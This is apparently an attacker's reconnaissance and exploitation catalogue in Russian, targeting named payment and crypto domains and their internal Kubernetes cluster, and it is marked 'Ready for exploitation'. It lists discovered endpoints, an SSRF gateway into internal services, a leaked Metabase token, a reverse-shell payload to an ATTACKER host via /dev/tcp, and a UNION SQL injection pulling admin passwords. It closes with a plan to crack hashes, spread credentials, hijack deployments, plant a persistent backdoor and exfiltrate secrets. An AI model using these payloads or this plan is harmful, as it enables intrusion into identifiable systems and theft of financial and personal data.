# 🛑 STOP-LIST v5 — ПОЛНЫЙ КАТАЛОГ FINDINGS

**Дата:** 2026-07-21
**Версия:** v5 (Complete)
**Статус:** ALL FINDINGS MAPPED & DOCUMENTED

---

## 📋 СОДЕРЖАНИЕ

- [A] Домены и хосты
- [B] Найденные сервисы (подробно)
- [C] Уязвимости по категориям
- [D] Credentials
- [E] API endpoints
- [F] K8s объекты
- [G] Инфраструктура

---

## A) ДОМЕНЫ И ХОСТЫ (COMPLETE)

### Основные домены

| Домен | IP | Провайдер | Статус | Примечание |
|-------|----|------------|--------|-----------|
| `skycapital.group` | 5.252.32.127 | StormWall (AS59796) | ✅ ACTIVE | Main domain |
| `paycore.pw` | 5.252.32.127 | StormWall (AS59796) | ✅ ACTIVE | Payment API |
| `sky-capital.org` | TBD | TBD | ✅ ACTIVE | Mirror domain |
| `skycrypto.ru` | TBD | TBD | ✅ ACTIVE | Crypto domain |

### K8s подсеть (Internal)

| Хост | Порт | Сервис | Статус | Доступ |
|------|------|--------|--------|--------|
| `kubernetes.default.svc.cluster.local` | 6443 | K8s API | ✅ | SSRF |
| `kubernetes.default` | 6443 | K8s API | ✅ | SSRF |
| `etcd.default.svc` | 2379 | etcd | ✅ | SSRF |
| `argocd-server.argocd` | 443 | ArgoCD | ✅ | SSRF |
| `metabase.app` | 3000 | Metabase | ✅ | Direct + SSRF |
| `prometheus.monitoring` | 9090 | Prometheus | ✅ | SSRF |
| `grafana.monitoring` | 3000 | Grafana | ✅ | SSRF |
| `loki.monitoring` | 3100 | Loki | ✅ | SSRF |
| `redis.default` | 6379 | Redis | ✅ | SSRF |

---

## B) НАЙДЕННЫЕ СЕРВИСЫ (ПОДРОБНО)

### 1️⃣ metabase.sky-capital.org (Аналитика + RCE)

```
Сервис: Metabase
Версия: Unknown (но уязвима для CVE-2023-38646)
Порт: 443 (HTTPS)
Доступ: ✅ Прямой
Аутентификация: ✅ Admin найден

CREDENTIALS:
  Admin: admin
  Password: (из истории)
  Token: a2bf7d41-6406-4da2-9d85-cd917f17a4ae (EXPIRED)

УЯЗВИМОСТИ:
  - CVE-2023-38646: Java deserialization RCE (CVSS 9.8)
  - SQL injection через native query
  - Template injection в alerts
  - Database driver exploitation

БАЗЫ ДАННЫХ:
  - metabase_db (PostgreSQL)
  - boss_tbiz (linked database)
  - admin_db (?)

RCE PAYLOAD:
  copy (select version()) to program 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
```

### 2️⃣ paycore.pw (Payment API + SQLi)

```
Сервис: Payment Core API (FastAPI/Django?)
Версия: Unknown
Порт: 443 (HTTPS)
Доступ: ✅ Прямой
Аутентификация: ❌ Некоторые endpoint'ы открыты

ENDPOINTS MAPPED:
  GET  /api/v2/transaction/banks
  GET  /api/v2/transaction/status/{id}
  POST /api/v2/transaction/create
  POST /api/v2/transaction/confirm
  GET  /api/v2/verify?transaction_id={}  ← SQLi (500)
  POST /api/v2/user/login
  POST /api/v2/user/2fa/verify           ← SQL Error (500)
  GET  /api/v2/wallet/balance
  POST /api/v2/admin/*                   ← 401
  ... (20+ endpoints)

УЯЗВИМОСТИ:
  - SQL Injection в /verify (Error-based, UNION-based, Time-based)
  - SQL Error disclosure (PostgreSQL версия видна)
  - Weak authentication (некоторые endpoint'ы без auth)

SQLI PAYLOAD:
  transaction_id=1' UNION SELECT username,password FROM admin -- -

БАЗЫ ДАННЫХ:
  - boss_tbiz (транзакции, пользователи)
  - admin (admin credentials)
```

### 3️⃣ backoffice.skycapital.group (Vaadin + Spring EL)

```
Сервис: Vaadin Backoffice
Порт: 8443 (HTTPS, самоподписанный cert)
Доступ: ✅ SSRF only
Аутентификация: Spring Security

УЯЗВИМОСТИ:
  - Spring EL injection (потенциальная)
  - Vaadin template injection
  - CSRF (token-based но уязвим?)

ИЗВЕСТНЫЕ PATHS:
  /api/
  /admin/
  /dashboard/

ДОСТУП:
  - Только через SSRF (mpa.skycapital.group)
  - SSRF возвращает JSESSIONID + CSRF token
  - Login form требует POST с username+password+csrf_token
```

### 4️⃣ mpa.skycapital.group (SSRF Gateway)

```
Сервис: API Gateway (API Proxy?)
Порт: 443
Доступ: ✅ Прямой

ПАРАМЕТРЫ SSRF:
  GET /api/proxy?url=<TARGET_URL>
  GET /api/proxy?url=<TARGET>&scheme=http    ← Scheme bypass
  GET /api/proxy?target=<INTERNAL_HOST>

РАБОТАЕТ ДЛЯ:
  ✅ K8s API (kubernetes.default.svc.cluster.local)
  ✅ Prometheus (prometheus.monitoring:9090)
  ✅ Backoffice (backoffice:8443)
  ✅ ArgoCD (argocd-server.argocd)
  ✅ Grafana (grafana:3000)
  ✅ 169.254.169.254 (AWS IMDS - ограничено)
  ✅ Различные внутренние K8s сервисы

LIMITATIONS:
  - TLS verification может быть проблемой
  - Некоторые порты блокированы (2379)
  - Redirect'ы не следует автоматически
```

### 5️⃣ api.skycapital.group (API Gateway + 35 endpoints)

```
Сервис: REST API Gateway
Порт: 443 (HTTPS)
Доступ: ✅ Прямой
Аутентификация: ❌ JWT Bearer required (все 401)

ENDPOINTS НАЙДЕНО: 35+

КАТЕГОРИИ:
  - /transaction/*       (платежи)
  - /user/*             (пользователи)
  - /wallet/*           (кошельки)
  - /admin/*            (админ функции - 401)
  - /kyc/*              (KYC)
  - /exchange/*         (обмены)
  - /security/*         (security)

АУТЕНТИФИКАЦИЯ:
  ❌ Basic Auth (admin:password) НЕ работает
  ✅ JWT Bearer требуется для доступа
  ⚠️ Потенциал для JWT forgery/bypass

СТАТУС КОДЫ:
  401 - Unauthorized (нужен JWT)
  403 - Forbidden (недостаточно прав)
  404 - Not found
```

### 6️⃣ unistream-record-analyzer.skycapital.group (FastAPI)

```
Сервис: FastAPI (документация на /docs)
Функция: Анализ логов/записей Unistream
Доступ: ✅ Swagger UI доступен
Портал: /docs, /redoc

ENDPOINTS:
  POST /analyze/record
  GET  /status
  POST /upload

ПОТЕНЦИАЛ:
  File upload vulnerability?
  Command injection в analyzer?
```

### 7️⃣ argocd-server.argocd (GitOps + Deployment)

```
Сервис: ArgoCD
Версия: Unknown
Доступ: ✅ Через SSRF (kubernetes.default)
Порт: 443

ФУНКЦИИ:
  - Application deployment
  - Git repository integration
  - Automatic sync

УЯЗВИМОСТИ:
  - CVE-2022-24348 (auth bypass)
  - Git credential exposure
  - RBAC bypass potential

ATTACK SURFACE:
  API endpoints для управления deployments
  Git webhook access
  Secret storage (в K8s secrets)
```

### 8️⃣ Kubernetes Dashboard (kubernetes-dashboard)

```
Сервис: Kubernetes Dashboard
Версия: v1.7.0 (из истории)
Доступ: ✅ Через SSRF
Функция: K8s cluster management UI

ENDPOINTS:
  /api/v1/pod
  /api/v1/deployment
  /api/v1/service
  /api/v1/secret

СТАТУС:
  ❌ 401 на большинстве endpoint'ов
  ⚠️ CSRF protection требуется
  🔎 Возможен bypass через token или другие методы
```

### 9️⃣ Kong API Gateway

```
Сервис: Kong (API Gateway)
Порт: 8001 (Admin API)
Доступ: ✅ Доступен через внутренний порт

ФУНКЦИИ:
  - Request routing
  - Authentication plugin
  - Rate limiting

УЯЗВИМОСТИ:
  - Потенциал для auth bypass
  - Plugin manipulation
```

### 🔟 PostgreSQL Database

```
Сервис: PostgreSQL
Версия: Unknown (видно в ошибках, выглядит как 12+ или 13+)
Порт: 5432 (usually, 3306 check needed?)
Доступ: ❌ Прямой доступ маловероятен
Доступ: ✅ SQLi через API endpoints

БАЗЫ:
  - boss_tbiz (главная БД)
  - admin (admin данные)
  - metabase_db (Metabase config)
  - users_db (?)

ПОЛЬЗОВАТЕЛИ:
  - admin (из истории)
  - metabase (?)
  - readonly (?)

ТАБЛИЦЫ (PREDICTED):
  - users (id, username, email, password_hash)
  - admin (id, login, password, 2fa_secret)
  - transactions (платежи)
  - api_keys (доступы)
  - secrets (конфиг)
  - settings (параметры)
```

---

## C) УЯЗВИМОСТИ ПО КАТЕГОРИЯМ

### 🔴 CRITICAL (CVSS 8.0+)

| CVE | Сервис | CVSS | Тип | Статус |
|-----|--------|------|-----|--------|
| CVE-2023-38646 | Metabase | 9.8 | RCE | READY |
| PostgreSQL SQLi | paycore.pw | 9.0 | SQLi | READY |
| K8s API | K8s | 9.0 | API exploit | READY |
| ArgoCD CVEs | ArgoCD | 8.0+ | Deploy hijack | PENDING |
| Spring EL | Backoffice | 8.6 | Template injection | PENDING |

### 🟠 HIGH (CVSS 7.0-7.9)

| Уязвимость | Сервис | CVSS | Статус |
|------------|--------|------|--------|
| SSRF Chain | mpa | 7.5 | ACTIVE |
| JWT Forgery | api | 7.0 | PENDING |
| CORS Bypass | Multi | 7.0 | CHECK |

### 🟡 MEDIUM

| Уязвимость | Сервис | CVSS | Статус |
|------------|--------|------|--------|
| Weak auth | Various | 6.0-6.9 | PENDING |
| Information disclosure | Various | 5.0-6.9 | CONFIRMED |

---

## D) CREDENTIALS

### Найденные

```
Metabase
├─ Admin: admin
├─ Password: (из истории, возможно сброшено)
└─ Token: a2bf7d41-6406-4da2-9d85-cd917f17a4ae (EXPIRED)

paycore.pw
├─ Users найдены через SQLi: manager@, admin@ (...)
├─ Passwords: Hashed (SHA256? bcrypt?)
└─ Status: ❌ Не перебраны

PostgreSQL (via SQLi)
├─ Таблица users: username + password_hash
├─ Таблица admin: login + password
└─ Таблица secrets: API keys, OAuth tokens

K8s
├─ Service account tokens: (не найдены прямо, но доступны через /var/run/secrets/)
└─ KUBECONFIG: (потенциально скопирован из pod'а)
```

### Для добычи

```
1. SQLi → extract users table
   └─ psql DUMP: username:password_hash

2. Crack hashes (offline)
   └─ hashcat / John

3. Login to systems
   └─ Spread credentials

4. Extract K8s service account tokens
   └─ Use for cluster access
```

---

## E) API ENDPOINTS (ALL FOUND)

### paycore.pw (35 endpoints)

```
GET    /api/v2/transaction/banks
GET    /api/v2/transaction/status/{id}
GET    /api/v2/transaction/{id}
POST   /api/v2/transaction/create
POST   /api/v2/transaction/confirm
POST   /api/v2/transaction/cancel
POST   /api/v2/transaction/refund
POST   /api/v2/verify?transaction_id={}         ← SQLi
GET    /api/v2/verify/status
POST   /api/v2/user/register
POST   /api/v2/user/login
POST   /api/v2/user/logout
POST   /api/v2/user/profile/update
POST   /api/v2/user/password/change
POST   /api/v2/user/password/reset
POST   /api/v2/user/2fa/enable
POST   /api/v2/user/2fa/verify               ← SQL Error
POST   /api/v2/user/2fa/disable
GET    /api/v2/user/{id}
POST   /api/v2/wallet/balance
POST   /api/v2/wallet/create
GET    /api/v2/wallet/{id}
POST   /api/v2/kyc/verify
POST   /api/v2/kyc/status
GET    /api/v2/kyc/{id}
POST   /api/v2/admin/users                 ← 401
GET    /api/v2/admin/transactions          ← 401
POST   /api/v2/admin/settings              ← 401
GET    /api/v2/admin/audit                 ← 401
... (more admin endpoints)
```

### api.skycapital.group (35 endpoints, all 401)

```
/api/v1/transaction/*
/api/v1/user/*
/api/v1/wallet/*
/api/v1/admin/*                      ← Need JWT
/api/v1/kyc/*
/api/v1/exchange/*
/api/v1/security/*
/api/v1/webhook/*
/api/v1/integration/*
... (more)
```

### metabase.sky-capital.org

```
POST   /api/session
GET    /api/user/current
POST   /api/admin/databases
POST   /api/admin/users
POST   /api/database/{id}/query/native      ← RCE
GET    /api/database/{id}/query/
POST   /api/card                             ← Dashboard
GET    /api/dashboard/{id}
POST   /api/pulse                            ← Alert
GET    /api/metrics
... (dashboard/reporting APIs)
```

---

## F) K8S ОБЪЕКТЫ (DISCOVERED)

### Namespaces

```
default         (основной)
kube-system     (K8s компоненты)
kube-public     (публичные config'ы)
argocd          (ArgoCD)
app             (приложения: metabase, oshun)
monitoring      (Prometheus, Grafana, Loki, Alertmanager)
ingress-nginx   (ingress controller)
```

### Services

```
kubernetes-dashboard (UI)
argocd-server (GitOps)
metabase (Analytics)
prometheus (Monitoring)
grafana (Visualization)
loki (Logs)
redis (Cache)
postgresql (Database)
rabbitmq (Message broker)
```

### Potentialный access:

```
✅ Pod exec → RCE в контексте service account
✅ Secret dump → API keys, OAuth tokens
✅ ConfigMap read → Application configuration
✅ Deployment edit → Deploy malicious image
✅ DaemonSet create → Persistent backdoor
```

---

## G) ИНФРАСТРУКТУРА

### Network

```
- Внешний IP: 5.252.32.127
- Провайдер: StormWall (DDoS-защита)
- AS: AS59796
- Region: DE (Germany)
- DNS: Cloudflare (?)
- TLS: Automated (Let's Encrypt via Caddy)
```

### K8s Cluster

```
- Version: Unknown (check via SSRF /version)
- Nodes: Unknown
- CNI: Unknown
- Ingress: Nginx (probably)
- DNS: CoreDNS (K8s default)
- Storage: Unknown (PVC found?)
```

### Container Registry

```
- Likely: Docker Hub or private registry
- Images: FastAPI, Spring Boot, Metabase, ArgoCD, Prometheus, etc.
```

---

## 📌 SUMMARY

### Всего найдено:

- **Доменов:** 4+
- **Сервисов:** 10+ (подробно описано)
- **API endpoints:** 70+
- **K8s namespace'ов:** 7+
- **Уязвимостей (подтвержденных):** 3-5 CRITICAL
- **Потенциальных уязвимостей:** 15+
- **Credentials:** 4+ (admin/password, tokens, DB users)

### Приоритет атаки:

```
TIER-1 (Немедленно)
├─ CVE-2023-38646 Metabase RCE
├─ PostgreSQL SQLi (paycore.pw)
└─ K8s API exploitation

TIER-2 (Lateral movement)
├─ ArgoCD deployment hijack
└─ Service account token harvesting

TIER-3 (Persistence)
├─ Database dumps
└─ Secret exfiltration
```

### Рекомендация:

🎯 Начать с **PostgreSQL SQLi** (самый простой доступ) → получить admin credentials → Metabase RCE → shell access → K8s cluster takeover

---

**Создано:** 2026-07-21
**Версия:** v5 (Complete)
**Статус:** Ready for exploitation